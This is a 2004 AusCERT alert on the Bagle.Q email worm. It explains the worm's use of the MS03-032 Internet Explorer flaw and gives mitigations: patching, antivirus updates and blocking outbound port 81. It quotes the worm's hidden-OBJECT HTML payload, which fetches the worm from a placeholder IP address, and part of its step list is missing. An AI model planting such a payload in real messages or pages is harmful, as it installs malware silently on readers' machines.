AL-2004.07 -- AUSCERT ALERT
New Bagle.Q Worm Spreading Rapidly
18 March 2004AusCERT is aware of local activity by a new type of mass-mailing worm. Dubbed Bagle.Q, this worm exploits a recent vulnerability in the Microsoft Internet Explorer engine to allow infection without active user intervention and without including the virus executable in the email message. The worm has two stages of execution:
<html><body>
<font face="System">
<OBJECT STYLE="display:none" DATA="http://<IP address>:81/373273.php">
</OBJECT></body></html> 2. Upon preview within vulnerable mail applications (eg Microsoft
Outlook and Microsoft Outlook Express), the virus/worm body is
downloaded via HTTP from the IP address in the DATA field of the
HTML message.Machines infected with the worm repeat the process, using the worm's inbuilt SMTP engine to send the message to addresses harvested from various files on the computer, and constructed with a DATA field containing either the infected machine's IP address or one from a hard-coded list of IP addresses in the worm itself.
The vulnerability exploited by this worm is Microsoft Security Bulletin MS03-032 [2][3]. System administrators should apply the measures described in that advisory to correct the vulnerability, either manually or by using Windows Update. Anti-virus vendors will have updated signature files available soon, and these should be applied as soon as possible.
It appears, so far, that the URL used to download the viral executable consistently uses TCP port 81, so sites may wish to block that port outbound as a stop-gap measure while more permanent measures are prepared. However, as some legitimate web sites utilise this port, this measure should be regarded as temporary only.
